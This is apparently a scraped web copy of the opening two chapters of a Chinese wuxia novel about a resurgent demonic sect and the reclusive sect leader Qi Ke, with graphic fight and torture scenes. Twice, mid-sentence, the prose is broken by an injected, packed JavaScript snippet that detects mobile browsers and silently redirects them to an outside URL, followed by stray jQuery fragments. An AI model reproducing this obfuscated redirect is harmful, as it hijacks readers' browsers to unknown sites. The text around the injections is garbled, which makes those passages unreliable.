《长生咒》
1. 第1章
楔子
大梁末年,明庆帝痴迷于寻找长生不老之法,广罗精通药理的能人异士,纳于宫中炼制丹药。帝怠于朝政,天下大乱,江湖之上,各大教派纷纷兴起。
不到两年,繁盛了数百年的大梁王朝分崩离析,一支境外骑兵自西北杀入皇城,明庆帝得此讯息,连夜只带着炼丹之人与数十位将士逃离京城,自此再无音讯。
梁灭,骑兵统领李劲成定都安阳,为大魏。
大魏初建,国局不定,皇城不远万寿山上建起一新教,号百毒神教,教中分两派,一医,一毒。
此教派宣称入教即得永生,不老不死。不过数月,教中信徒激增,分坛遍布大魏版图。上至王公贵族,下至街头乞丐,皆有不惜代价入教者,仅求能长生不老。
起初,百毒神教只于教派驻地闭门炼制丹药,虽教中常有人因试药失败惨死,但好在试药者皆为自愿入教的信徒,与寻常百姓无甚关系。但日子久了,荒山野岭,闭塞巷道里常寻见面容狰狞,七窍流血的尸体,经查证,并非神教中人。
魏帝李劲成深觉此番下去,大魏百姓必遭百毒神教荼毒。只是教徒甚多,且涵盖了各个阶级的人,若贸然出手,必将激起群愤。是以,他召集朝中心腹谋士密谋计划,铲除百毒神教。
经过一年多的筹备,魏帝于江湖之中,寻齐了八个身怀绝技之人,联手捣毁了百毒神教总坛及各处分坛,拨乱反正,警醒世人世上本无长生之法,将一众受不老不死教化荼毒的人救于水火。
此八人,江湖人称八杰,过后数十年,英雄迟暮,八杰离散,隐于江湖……
第一章
六十年后,麒麟山,凌霄宫。
雷声轰鸣,闪电如银白厉刃划破夜空,暴雨倾盆而下,狂风呼啸,将大树连根拔起。
麒麟山是龙脉十六山最高峰,六十余年被奉为仙境,峰顶烟岚云岫,神宵绛阙高耸入云,乃洞天福地。
这样恶劣的天气,六十年来从未有过。
朗星天一鼓作气攀上陡峭岩壁回来的时候,从披风到里衣全部湿透,天杀的,不知道宫里哪个弟子在下山峦天榆峰设了一个捕棕熊的陷阱,他没注意一脚踏空落了进去,今日刚换上的云绣衣服全沾上又臭又软的泥巴。
“我的小祖宗,你总算回来了,快进去!宫主和夫人在前厅等你!”
陈总管远远看见熟悉的身影,赶紧撑起伞迎上前,风太大,如果不将内力注入伞之中,油伞一旦撑开,就会立刻四分五裂。他气沉丹田,努力稳住自己的身体不被吹走,刚把伞举到朗星天头顶,就被一把挥开。
“风大雨大,挡也没用,左右都湿了,用不着这把破伞。你去禀报爹娘,我回去换身干衣裳再去。“
“等不及等不及!“陈总管一把扯住他:“是紧要命的事,衣裳细软都收拾好放前厅了,你快些去吧!”
说罢,不等他继续问,推着人就走。
凌霄宫主殿外的两侧的游廊上,站满了身穿水蓝色宗门服,手持长剑背着行囊的弟子,朗星天看众人面色惶恐,年纪小的已然脸色煞白,今年刚拜入凌霄宫的十七师弟站立不稳,被大师兄搀着才没有腿软倒下去。
想到前两日在父母门外偶然听到的消息,他心中暗道一声不好,跑进大殿。
“爹!娘!荣光宫是不是……”
话没问完就被迎面飞来的包袱抢断,王诗安看见儿子回来明显松了一口气,缠紧手中星云链:“这就上路,投奔云清宫!”
“云清宫?爹,娘,当年云清宫当众落了咱们的面子……”
“性命重要还是面子重要?!”王诗安手中银光一闪,一枚锃亮的绣花针狠狠扎进朗云面前的案桌上,入木三分,只留下一根引线的针头:“若能活着,再向云清宫讨面子不迟,还不快走!”
朗云面上闪过一瞬不甘,握紧手中七耀剑,抬眼看向抱着包袱的十四岁幼子,心一横,一咬牙:“你带孩子们走,我留在此处!”
“你说什么?到这时候,还放不下你的狗屁……”
“我不是为了面子!”朗云大吼一声,拍案而起,
一直温吞甚至软弱的丈夫当着孩子和弟子的面竟然敢与她叫板,王诗安震惊,刚想破口骂道:“朗云,你发什么神经?都这个时候了,还装大爷?”
却听朗云一字一句:“天雷,雾谷,红莲,无妄,落月,道瑶,荣光,七宫皆灭,却不曾有一人弃宫而逃,我凌霄虽力薄,但五十余载,也自问立身正,无愧江湖正杰,无愧武林同道,才有如今盛名。三代累下的基业,不可毁于我手,我不能临阵脱逃,你们走吧,凌霄宫,我守!”
“那可是魔教!”
“六十年前,我十六宫战的就是魔教!”
“爹,既不想走,您下午不说,非要等到我回来再明志?”朗星天疑惑。
“呃……这……”朗云的气势一下子弱下来。
“随你!”王诗安强压下心中暴怒,深吸一口气,往桌上丢下一枚凌霄宫特制的彻天响箭,背过身绷着脸冷冷道:“死前发响箭告我,我回来给你收尸!”
言毕,大步上前扯过朗星天的胳膊,连拖带拽将人拉出大殿,廊下等候多时的弟子见师父出来,整肃面容。
“出发!”
雷声滚滚,犹如高山崩塌,大风拔山摧峰似的怒吼着,暴雨倾盆如河水决堤,天地间已听不到更多的声响,也淹没了朗云最后一声弱弱的挽留:
“真……真就不带我走了?谁还没逞强的时候了?”
-
远容山脚下凤阳县,暮色四合,华灯初上。
古老的拱门上悬挂着五光十色的灯笼,微风拂过,灯影摇曳,投下斑斓的光影。
凤阳县最有名的酒楼春香馆进入了一天中最忙碌的时候。有人叫嚷着划拳,有人借酒意舒展没有人能欣赏的才华,大笔一挥,写下一沓沓狗屁不通的打油诗,还有膀大腰圆油光满面的说书先生,拿着竹板往桌上一拍,唾沫横飞。
“齐宫主年方二十三,但其武功造诣已入梵云天境,据传说,她手持一条冰蓝色长鞭,名唤血月,血月破空,见血封喉,十一年前,为救谢家小少爷,一人一鞭独闯泛江十九寨,冲上云策山庄,自此一战成名,见过其功法之人,无不钦佩,对她那是服得五体投地,而她的云清宫,在此之后,成为天下十六宫之首,独步江湖!”
“呸!胡说八道!龟缩一隅的乡巴佬,还拿着陈年旧事津津乐道!云清宫早就退隐多年了,这宫主齐珂撑死不过是条旧塘里翻白肚的鱼,在如今江湖上哪能排得上名号,再说了,不过就是个乳臭未干的小丫头,一个女人,能掀起屁大的风浪!”
案桌不远靠窗的位置,穿着粗布马褂,身后背着两柄斩刀的男人往地上淬了一口唾沫,脸上难掩鄙夷之色:“我看是你们这群没见过世面的乡巴佬需要云清宫庇护,才巴巴去舔人家屁股,呵,云清宫,齐珂?我呸!待老子上山去会会她,打得她满地找牙,跪在老子脚下求爷爷告奶奶,到时候,纳了这小娘们,十六宫之首?老子也来做做十六宫之首!”
“啊!!”
男人话音刚落,一枚绣花针从窗外疾驰而来,男人手中的水碗瞬间四分五裂,瓷碗残片打着旋儿,带着狠戾在他还没反应过来之前,深深扎进他的左眼。瞬时,鲜血四溅,男人捂着汩汩流血的眼睛惨叫着轰然倒地。
“得,这个月第四个!”一旁喝酒的老翁响亮地嘬了一口杯中的万里春,啧啧摇头。
“月护法!”掌柜的满脸谄媚的笑,从柜台后面拿出早已经打包好的几袋肉食,脚步欢愉地迎上去:“宫主提前吩咐的酱猪蹄和羊肉泡馍,您拿好!”
来人一袭酒红色的劲装长袍,面上戴着一层与衣服同色的薄纱,露出一双杏眼,一手接过掌柜递过来的袋子,一手从怀里摸出一把碎银子,看向已经倒在地上抽搐的男人,笑眼弯弯,人畜无害:“斩马帮就这点本事?”
“斩马帮?斩马帮不是才递了拜帖,也要来投靠云清宫吗?求人庇护还一副不可一世的天皇老子样,呸!活该!”
“斩马帮也收到魔教的冥王生死帖了?一个近几年才兴起的门派,也配魔教发帖?”
“别瞎说!什么魔教,魔教六十年前便已经被八位豪侠斩尽了!”
“那你说,南山七宫,孤云剑派,乾坤堂,紫气山庄灭门是谁的手笔?这些可都是当年跟着八杰一道追杀魔教的门派,而且,生死帖……”
“宫主令!”穿着酒红色衣裙的少女笑眯眯地听着围观的群众七嘴八舌讨论得起劲,眼中笑意更甚,从衣袖中抖露出一块缺了一角的金色令牌来,开口,声音竟像吸足糖水的蜜饯:
“近日,有传言魔教卷土重来,云清宫作为方圆百里最牛掰的门派,理应护一方百姓周全,但……”她清了清嗓子,声音又甜软了不少:“宫主又说,她年纪也大了,不比从前,且云清宫避世多年,不愿管江湖是非,故诸位——自求多福吧!”
“这……此处是云清宫的地界,齐宫主不能不管啊!”
“就是啊,这么大一块地,武术境界在梵云天境之上的只齐宫主一人,魔教能在两月之间灭门数十宗派,定是高手如云,如果真的来了,我等岂不是难逃一死?”
“我说,这齐大宫主不管事又不是这一两天的事了,宫人下山也不过替她买口吃的,我看怕不是当年一战过后元气大伤,不中用了,这才带着整个门派归隐,指望一个只知吃喝的酒囊饭袋,有什么用?!”
“嗯?”少女的指尖闪过一道细长的银光,还在喋喋不休唾沫星子横飞的白须老人被身旁的老妇紧忙拽住坐下,老妇余光死死盯着少女手上的银光,满布皱纹的额间沁出一层冷汗:“月护法,说者无意,说者无意。”
少女笑着瞥了眼如梦初醒后知后觉,佝偻的身子已经开始微微发抖的老翁,眉眼弯弯如同新月,开口,嗓音甜美,态度温和有礼:“无妨,老人家莫怕。”
“月护法!”二楼款款走下一个手持银剑,长袖翩翩的中年男子,灼灼风华,眼角细纹却不掩国色。
“李宫主。”少女甜甜应道:“怎么只你一人下来?等我们宫主回帖的人可不少呢。”
她的声音软糯,自带撒娇的尾音,从袖中掏出一沓形制各异的拜帖:“烦请李宫主交给楼上那几位吧~”
她抬眼看向二楼,最大的包间房门紧闭,但穿过嘈杂人群,光听呼吸声便知,里面的高手不在少数。
“有劳月护法!”男子翩然行礼:“望月护法代在下谢过齐宫主善心。”
“莫要谢得太早,看完再说。”
说罢,不等酒楼的众人再说些什么,冲掌柜点了点头,提着肉食袋子转身大步而去。
“呼~你个老不死的,今天差点交代在这儿!”老妇啪得一声重重打上老翁的后脑勺,劫后余生让她的心脏砰砰直跳:“那可是赫赫有名的千手观音,云清宫四大护法之一,她方才要是真出手,我们……”
她心有余悸地看了一眼地上已经不再动弹的男人,他的左眼还在汩汩冒着鲜血,流不尽似的,整张脸如同死灰一般,老妇额间的皱纹又深了几分:“不中用
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|11803052|125765||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了。”
掌柜嫌弃地上前,抬脚踢了踢地上的男人,冲着柜台后扬手,很快,过来两个身强力壮的跑堂,把人架了抬出店去,小二拿来一罐银色的药瓶,倒在地面残留的血迹上,不过片刻,那摊血消失无影。
说书先生竹板一拍,声音高亢,又开始了“说书上回。”众人回过神来,仿佛刚才什么都没有发生过一样,不过小半盏茶的功夫,春香馆恢复了最初的热闹,人流如织,络绎不绝。
李悟非捏紧手中的回帖,侧身看向二楼,眼见春馆内众人的注意又回到说书人身上,悄悄闪到一边,找到自己七彩山朝霞宫的帖子,金丝织就的云彩上还附着一朵仍然娇艳的海棠,是他递帖时特意留下的。
他有些忐忑翻开,在自己的笔迹下方,有人龙飞凤舞回了一段:
“献身不必,如今本宫主美人在侧,李宫主年岁渐长,人老珠黄,实提不起本宫主兴趣,早些回吧,途经京都,可去琼林院买一盒云珠粉,抗老极好。”
琼林院那是什么地方,京城最有名的胭脂铺!
“好你个齐珂!”李悟非再难维持体面,手指蜷缩,捏紧手中的帖子:“吾为保门派弟子,已然放下身段求其垂怜,竟这般不识趣!”
他不死心,余光看包间门依旧紧闭,没人出来,悄悄翻开其他给其余几宫的回帖。
天水宫林远亭以当年招待过餐风宿水,狼狈不堪,前往慈空庵落发为尼的齐老宫主为由,请齐珂投桃报李,说得好听,不求庇护,只求一方空院供门派弟子休整,齐珂回:
“既然舟车劳顿,不若早些打道回府,好生休息。”
还有清东山,泉中宫万仁道:云清宫乃十六宫之首,魔教重现,理当担起武林重任,庇护同道,匡扶正义,斩妖除魔,齐珂写:
“万宫主此言有理,可云清宫退隐江湖十载,不问世事,山泉宫排十六宫第二位,平素领的是惩强扶弱武林大宗的名头,魔教虐杀末流七宫,烦请山泉宫先做表率。”
还有更离谱理由,什么不喜欢吃交昌宫的橘子,不想养神火宫的孔雀,到了一元宫那儿,想是回帖回烦了,直接落笔,写了一个大大的:
“滚!”
-
“黄口小儿,论辈分,我们与她母亲同辈,她还当唤我们一声叔父!不过是念她掌云清宫,才一再卑躬屈膝,瞧瞧她回得都是些什么话?!”
“依我看,她不肯庇护咱们,定是云清宫如今也金玉其外败絮其中,没这能力,怕我们进了山,看到她的穷酸样,面子挂不住,这才拒绝。”
“哼!十六宫也就这么一位女宫主,师祖在时便说过,齐家女人当家,不得长久!”
万仁话音刚落,忽然,屋顶传来细微的铃铛声响,空气一凌,他脸上闪过一道白光,一把利剑直面刺来,剑柄乃独山玉,上刻一青龙,剑身玄铁而铸,剑刃刃如秋霜,透着凛凛寒光。
他一惊,袖中长剑抖出,于胸前奋力一挥,却只堪堪挡住那波汹涌的剑势,只听“铛”得一声巨响,长剑被震得脱手,那柄寒光剑居然直接将他的“饮泉”击穿,空气中传来爆裂之声,那把剑插着饮泉狠狠地钉在万仁斜后方的檐柱上,剑身应着惯性左右晃动了两下方才静止。
桌旁另外三人皆是一惊,向后跳出一丈远,万仁被强大的内力掀翻在地,心中暗道不好,赶紧爬起,几人屏息,想辨出屋外人身在何方。
可四周寂静,竟连寒鸦悲鸣声都不可闻。
李悟非瞥一眼檐柱上的寒光剑,剑气磅礴,即使只是静止在那里,周身泻出的寒意也慢慢攀上一旁木架上放着的盆栽,那朵刚开的海棠结上冰霜,了无生气地枯萎落地。
是一把绝世好剑,可名剑谱上却不曾有它的名号。
莫非……齐珂?对了,齐家历代铸造兵器,齐珂如今也是江湖之上最顶级的兵器锻造师。
他肌肉紧绷,气沉丹田,扬声冲屋外人道:“不知阁下为何人?可否报上名号,若要较量,下来堂堂正正与吾等对决,暗箭伤人,实非武林正道所为!”
“呵~”房顶突然传来一声少年的轻笑,但这声音却像来自屋顶的各个角落,无法辨别方向:“武林正道?武林正派亦讲人之行于世,当行得正做得端,诸位不请自来,齐宫主当然有拒收的权利,但你们背后嚼人口舌,枉为正派大宗,居然有脸摆出一副道貌岸然的模样,不觉讽刺吗?”
话音落,只听“嗖”得一声,檐柱上的剑带着雷霆的架势破瓦而出,剑气所过之处,冰霜凝结,一眨眼的功夫,屋顶已破出一个“冰洞”,万仁单脚点地,纵身破洞而出,但暮色四合,万籁俱静,静谧夜空下唯有繁星点点,哪里还有少年的踪迹。
身旁轻盈落下一道翩然的身影,李悟非沉声道:“云清宫的人?”
“齐珂新收的小/倌?”
“小/倌哪有这样好的身手,怕是已到虚空凡境后期了,想不到啊。”他转头看向身侧怒目圆睁,气急败坏的万仁,轻蔑一笑:“山泉宫排十六宫第二位,万宫主的实力居然连虚空凡境都不如?”
天下武学,除了入门,一般,不错,很好的一众甲乙丙丁,凡是修为境界跨过结气期,便可算得上顶级高手,而顶级高手又分五大境界,分别是元婴之境,虚空凡境,大乘幻境,梵云天境,还有一个,三百年来,据说只有当年的八杰之首向老爷子向茗然的……爷爷的爷爷的爷爷,曾短暂入过两天的化神玄境,但只两天后便爆体而亡。
所以如今武林,普遍认为,能入梵云天境者,即为巅峰,而齐珂
便是梵云天境。
2. 第2章
远容山,云清宫。
湖中小亭,身穿粉白色衣衫的女子斜斜地靠在锦织的软榻上,面色微红,一头乌发如云铺散。脚底零散地躺着几个空了的酒罐。醉酒佳人桃红面,说的大抵就是这番景象。
铃铛声响,湖面飞过一个身穿浅蓝色圆领袍,手带黑金护臂的少年,他一头墨发在脑后束成一个高马尾,马尾上碧色发带飘扬,两根发带尾处,各系着一对珍珠大小的白色凤羽铃铛。
少年落地,凤羽银铃,空气中是如雨后翠竹林般清冽的味道,少年十七八岁的模样,虽是一张斯文书生脸,但眼中光芒闪烁,稚气中带着少年郎独有的张扬。
“阿姐!”他冲软榻上的女子抱拳行礼,礼未成,手被人握住,齐珂支起上身,手撑着脑袋,握住他的手腕微微一转,将人转了个方向:“诺!你最爱的大猪蹄子,春香楼买的,吃吧。”
“阿姐~”少年脸上明显闪过一丝焦急,他没有去吃东西,眼神扫向地上横七竖八散落的酒瓶,无奈弯腰,将没空的瓶子扶正,自己搬来一张凳子,伸手给她调了调靠在身后的软垫:
“那三具无名尸体,阿姐可有头绪了?”
“不急~”齐珂舒服地哼唧一声,翘起腿,一双玉足未着鞋袜,右脚脚腕处一道蝴蝶形状的伤疤,她仰头灌下一口酒:“哈~好酒。”
“姐姐!魔教重出江湖,十六宫中已有七宫灭门,与当年八杰有关的孤云剑派,乾坤堂,紫气山庄也无一活口,这时候,三具和当年魔教药人死相相同的尸体被丢进远容山,明摆着就是冲着咱们来的。”
“嗯~不是冲着咱们,是冲着我来的。”齐珂伸出食指在他面前摆了摆:“十年前我便对外宣称你虽被救下,但身受重伤,不多久便气绝身亡了。”
“阿姐~这不是重点~”谢明握住她晃动的手指。
齐珂用指甲抠抠他掌心少府穴,不错,看来几日不见,心法又有长进:“你怎么就认定一定是魔教?”
“杀人手法!魔教千绝指和迷蝶剑,伤口就和……”他眼中闪过不忍:“阿姐脚腕处的一样。”
“六十年前,魔教武功秘籍便流散江湖,有心之人练个十年八载也不是学不会。”齐珂抽出手指,隔空取来地上的酒瓶,晃了晃:“喝吗?多大点事,瞧把咱们小少爷急的。”
“阿姐~官府无人报案有亲属失踪,这几日我寻遍了远容山方圆百里的城池乡镇,均未寻得有用消息。远容山向来自成结界,东侧为入口,有云清宫弟子把手,除了我和日常下山买酒肉的月护法,其余人等概不放行。北面珉花江,西和南都是悬崖峭壁,轻功再好也过不来。这三人并非山中居民,却陈尸于此,我思来想去,问题只有可能出在守山的外门弟子身上,阿姐,你审他们了没有?”
“审啦~里里外外扒了个遍,没个身材好的,可惜!”
“姐姐!”谢明对她“游手好闲”,插科打诨早已见怪不怪,但魔教此次来势汹汹,凡收到冥王生死帖的门派,不到三日,全部惨死,齐珂是他唯一的亲人,事关她的生死,他不能不急:
“守门弟子统共八人,若要审,也废不得多少时间,阿姐若是觉得麻烦,我来审就是,有的是让他们开口的本事。”
“人都死了,阿明你上何处审去?”齐珂掷出手中的空酒瓶:“再取几坛好酒来!”
亭子四角各守着一名白衣男子,白纱掩面,身形纤纤,听到吩咐,一人自动退下。
“死了?”
“阿慈审讯时下手重了些,没扛住,都死了。山门我已派内门弟子驻守,两人一班,每三个时辰一换,阿明,我都不急,你急什么?”
谢明皱眉,伸手挡住扭着腰肢想要上前递酒的白衣男子,眼中寒光爆出,男人不禁一个寒噤,他抢过男人手上的酒坛子,轻轻放到齐珂跟前:“那若魔教真攻上来呢?”
齐珂双手叠放于胸前,闭上眼,睡得板板正正,开口,懒懒道:
“躺平!等死!“
“姐姐!”谢明急得一下子从凳子上跳起,那张楠木杌凳被掀翻,咕噜噜滚到一边。
“呼——哈——呼呼——哈——噜噜!”
可软榻上的人却不为所动,只两个呼吸就沉沉睡去,轻微的呼噜声响起。
谢明无可奈何,盯着榻上睡过去的女人,神色复杂地看了许久,终是一声轻叹,轻手轻脚地抽出压在她身下的薄毯,盖在她的身上,又细心地替她掖了掖被角,转头轻声唤来亭外不远处随侍的宫人,吩咐道:“将此处打扫干净,轻一点,别吵着阿姐!”
“还有你们。”他的目光冷冷扫过,四角的白衣男子低下头不敢与之对视,只听到声音中仿佛有剑气暗涌:“滚!越远越好!”
说罢,左脚轻踏地,飞身掠出凉亭,在湖中只三四个点步,朝宫门外疾驰而去。
习武之人耳力极好,待四下探得存心湖周围已无谢明气息,软榻上的女子才悠悠转醒,眼中闪过一丝厉色。
“甘棠!”
正在收拾亭中空酒罐的紫衣女子听到声音,立马放下手中的活,抬头,却是一位媚骨天成,身材火辣的绝世美人,一颦一笑,一举一动皆是风情,利落抱拳,单膝跪地,开口:
“宫主,咋滴了?”
“我去趟后山,远容山上下加强戒备,一只苍蝇都不许放进来。”齐珂随手整理有些凌乱的衣衫,踩上拖鞋,面色肃然。
“那明公子咋整啊?”
“阿明要是过来,便寻个由头打发回去,这趟浑水,他还是不要蹚的好。”
“行嘞!包在我身上!”
齐珂满意地点点头,出尘脱俗的脸上又换上了玩世不恭的神色:“今儿个这酒不好,怕是不到三年的新酒,涩得很。”
“属下这就传信给张伯,请他备上些陈年的好酒,待远容山解封,便送上山来。”
“不愧是我的小甘棠,真懂事!”齐珂伸手挑了挑美人的下巴,随手拿起矮桌上还未吃完的小半串葡萄,乐滋滋地往后山去。
“宫主!”
“还有事?”
“鞋反了!”甘棠抬手,手腕翻转,妩媚勾人,撩人心醉的动作却是用来指了指齐珂的脚。
一双月白色的翘头履不但被穿成了夏季凉拖,上头用彩线绣着两只彩蝶也被压得似两只扁头苍蝇,更绝的是,两只鞋被穿得颠倒不分,甚是不雅。
“习武之人,不拘小节!”齐珂皮笑肉不笑丢下一句话,转身,穿着双倒鞋,飞也似的走了。
云清宫后山
此处不似前山,玉楼金阁,琼楼玉宇错落有致,后山只有层次错落的假山石,隐于一大片枝干遒劲,竹影婆娑的翠竹之后。假山石周围环绕着一圈溪流,泛着一片青烟似的薄雾,穿过驼峰状黑山石的洞府,便进入另一番天地。
这是一错综复杂的乱石阵,由洞府而出,入目便是三座巨大的英石石门,三座门上皆挂着“死门”牌匾,此处便是该阵法的正门。再往北面或南面拐过一个弯道,便又能各见两道新门,北面的两扇写着“惊门”,南面的两扇写着“伤门”,再往后,在整个阵法的最东侧,还有一道石门,上书“休门”二字。
从高处俯瞰,这座巨石阵其实是一个巨大的八门金锁阵,从阵法上看,三座“死门”由北向南原本应该为“死门”,“景门”,“杜门”。
而阵法北侧的两座“惊门”对应的是八门金锁阵中的“惊门“与”开门”,南侧两座“伤门”对应的是“伤门”与“生门”。
只是原本修建这座巨石阵的向家老前辈觉得雕刻八个内容不同的牌匾太过麻烦,便大手一挥,将西侧三门通通改名为“死门”,惊开二门统称“惊门”,“伤生”二门统称“伤门”,“休门”仍然保留。
说白了,就是懒。
只是,虽说“景”“杜”“开”“生”四门皆被改了名字,但其中机括仍严格按照八门金锁阵的精华而设。
其中“死门”与“杜门”中分别设置了七七四十九道机关,暗弩,连环板,自来石,烟毒,塞门刀车……,若要蹚过这两道门,即使武功盖世,也必定九死一生。
而这两座门的甬道中各设置了百余架可转动方向的转射机,转射机上的弓箭都淬了剧毒,一旦有人踏入“景门”,景门甬道下的承重石便会将压力变化传至控制转射机的钢丝线上,钢丝线操控机器旋转,将箭弩对准“景门”后的甬道,顷刻间将踏入机关之人万箭穿心。所以无论从阵法正面的哪座门踏入,都是死局。
而侧翼四门,虽从“开门”“生门”而入,受到的伏击较少,但此巨石阵南北两面皆依更高的山脉,与此处山石相连,便形成了两处峡谷地形,是云清宫宫人防守的绝佳地带,即使有人绕过西面三门而入,都会被从高处射来的利箭杀死。
至于阵法最东侧的休门,因为在阵法的最后方,若有人闯入,须得绕一个大圈,此中时间,足够阵内变阵应对。
这八道石门,共同守护的便是阵内地下三层的四间密室,分别为主室,后室,与两间耳室。其布局,完完全全就是一座攻防兼备的小型坟墓。当然,除了密室中没有存放棺椁。四个房间的墙体全部是石英石打造,隔音效果极好。
主室入户左侧立着一个巨大的杉木兵器架,从左往右按照软兵器至硬兵器排列,有连枷棍,九节鞭,绳镖,流星锤,弓、弩、枪、棍、刀、剑、矛、盾、斧等,一应俱全。
主室正中央,用一张长方形石桌隔成了两个区域,左为冷锻区,右为热锻区。火炉,风箱,砧子,铁锤,铁夹等一系列锻造武器所需的工具整整齐齐的罗列在一旁,主室正上方,有一个直径约半米的通风口,通风口直接链接到“死门”的甬道内。
主室的右侧放着一个看上去有些年代的书柜,上面堆满了齐家历代家主的兵器锻造手记,这些笔记全部为手书,有的字迹工整,有的上面涂涂画画,甚是难辩,纸张经过岁月,都已经泛黄,有些年代更为久远的,纸边都已经翻卷,但是从上面标注的痕迹来看,这些册子是被时常翻阅的。
远容山齐氏,自两百余年起,便是远近闻名的兵器制造大家,历代家主都是锻造技艺十分精湛的工匠,为了守护家族流传下来的独门绝学,不至于在面对贼人之时手无缚鸡之力,齐家后人自三岁起便要学习武艺。
但因为齐家连续五代,继承人都为女子,故齐家家主所使武器多为软兵器。
第一代家主齐风,使得一手出神入化的九节鞭。
第二代家主齐丹玲,以一条蛇形软鞭纵横江湖。
第三代家主,齐晗,也是当年天下闻名的八杰之一,第三杰,她的武器是一条三节棍,可收可放,夭矫多变。
第四代家主,齐沛,也就是齐珂的母亲,更是威武,一条流星锤,虎虎生风。
而齐珂,齐家第五代家主,如今使的最趁手的武器,是一条冰蓝色长鞭,名“血月”。
血月鞭通体由四千根被削成银针的寒玉编织而成,收鞭时,寒玉相互映衬,散着淡色的光晕,远远望去,犹如一轮冰蓝色的圆月。血月鞭出,鞭上锋利的寒玉深深扎进敌人的血肉之中,待鞭子离体,寒玉被染上一层血色,血月便由此得名。
地下密室的两间耳室,虽不如主室那般开阔,却也各有五十平米的间房,两座耳室内堆满了世所罕见的珍宝,群仙祝寿钟,黄花梨鸾凤牡丹纹大顶箱柜,红木雕花镶嵌缂丝绢绘屏风,紫檀束腰西番莲博古图罗汉床,紫檀雕西番莲大平头案,金丝楠木床……还有上百箱名贵的金器珠宝,这些家当,即使历任宫主终日混吃等死,不经营实务,也够子孙后代坐吃山空好几辈子。
而四间密室的最后一间,是一个弥漫着血腥味的牢房,各式刑具依次排开,上头无一不沾着血迹,血色很新,应该是刚给关在这里的人轮番用过一遍。
一进门,便听得一声惨绝人寰的凄厉叫喊,紧接着便是一道没有任何温度的女声:“泼盐水,把人弄醒。”
空气里弥漫的血腥味有些刺鼻,齐珂用帕子轻掩口鼻,一双秀眉微蹙。面前的刑架上,从左至右共绑着八人,如今都已血肉模糊,不成人形。他们面前,一个身着青绿色紧袖劲装的女子,手持笞条,正大声呼喝着命令一旁候着的宫人往其中一个犯人的身上泼滚烫的盐水。
“等等!”齐珂出声阻止。
那女子与两名正准备抬桶的宫人闻声,见到来人,忙转身抱拳单膝跪下:“拜见宫主!”
齐珂点头,脚踩一双扁头拖鞋又走近了些,眯眼扫了一圈面前八个血人,眼中凌凌寒光。
“都招了吗?”
“回宫主,都招了,班主说,是一群戴银色鬼脸面具的人挟持了他们的爹娘妻女,以此要挟他们做事,不仅将那三具尸体抛到远容山,还要……。”那青衣女子话至嘴边却生生咽了下去。
“还要什么?阿慈,你也想试试这屋子里的刑具?”齐珂斜睨了她一眼,语气冷了下去。
“属下不敢,只是他们的言辞过于卑劣,属下怕宫主生气。”阿慈斟酌一二,这才开口:“班主说,听那些鬼面人的话,他
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|11803053|125765||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
们觊觎宫主美色,想日后以山门为口,攻下远容山后,尝宫主姿色。”
“真的吗?他们真这么说?我就说嘛,本宫主虽已隐退江湖多年,但十二岁时便获封江湖第一美人,沉鱼落雁,风华绝代,丽质天成,不错,他们很有眼光!!”齐珂听到此处,两眼突然冒出精光。
阿慈只觉得太阳穴直跳:“宫主!”
“知道了!”齐珂轻咳一声,整肃面容:“那帮狗东西也忒瞧得起自己,以为买通几个守门的外门弟子就想攻入我远容山了?我呸,我远容山云清宫处处设有机关,都是当年向老前辈所铸,向老前辈八杰之首,天下机括无不精通,他们有命进来,也没命活着出去!”
“虽然本宫主确实花容月貌,但那群贼人若是心怀不轨,本宫定用铸铁用的火剪,剪了他们的命根,叫他们后半生做无根的浮萍!”
“嗯?不对啊,阿慈,人既然都招了,你还用盐水把人浇醒做什么?听本宫主一句劝,慈悲为怀,救人一命,胜造七级浮屠啊!”
“宫主,因为班主说你人面兽心,白嫩一张脸,心里比谁都脏,属下……”
“把他用热盐水给本宫主浇醒。”阿慈话音未落,齐珂冷下神色,声音有如雪虐风饕下的彻骨寒冰,不带一丝温度。
“啊!!!!!!!”
一声惨叫,面前血淋淋的男人挣扎着睁开双眼,滚烫的盐水浸润他的伤口,混着血水一滴一滴流到地上,他的身上腾起一片白烟,口中发出痛苦的哀嚎,好一会儿,涣散的目光才聚焦,瞧见面前的女人板着一张俏脸,怒气冲冲地瞪着他。
他愣了好一会儿,这才反应过来眼前是谁,用尽力气朝齐珂淬了一口,哑声骂道:
“齐珂……你个毒妇……枉我……枉我兄弟几人为你守山多年,你竟用尽酷刑……毒妇……你……你不得好死……”
“啪!”阿慈素手一扬,一鞭子狠狠抽在男人身上:“放肆,竟还敢对宫主出言不逊!”
“阿慈!”齐珂勾起唇角,轻蔑地笑了笑,轻轻抬手制止住她的动作,从阿慈手中接过笞条,走到男人面前,用笞条抬起他的下巴:“我问你,你可曾为鬼面人做事?嗯?”
她的声音极轻,似鬼魅低语,在静谧的牢房中显得尤为怖人。
“我……我是为了家中老母……”那人被齐珂用笞条抵着,被迫与她四目相对,听到她的问题,他全身又战栗起来。
“哼!”齐珂眼中闪过轻蔑之色,笞条划过他的侧脸,轻轻弯下腰,贴到他的耳边:“那便是背叛过本宫了,你给我记住了。”她盯着他的眼神一瞬间变得凌厉,似一把利刃,狠狠地捅进他的血肉里。
“无论是什么原因,背叛一次,同死人无异!”
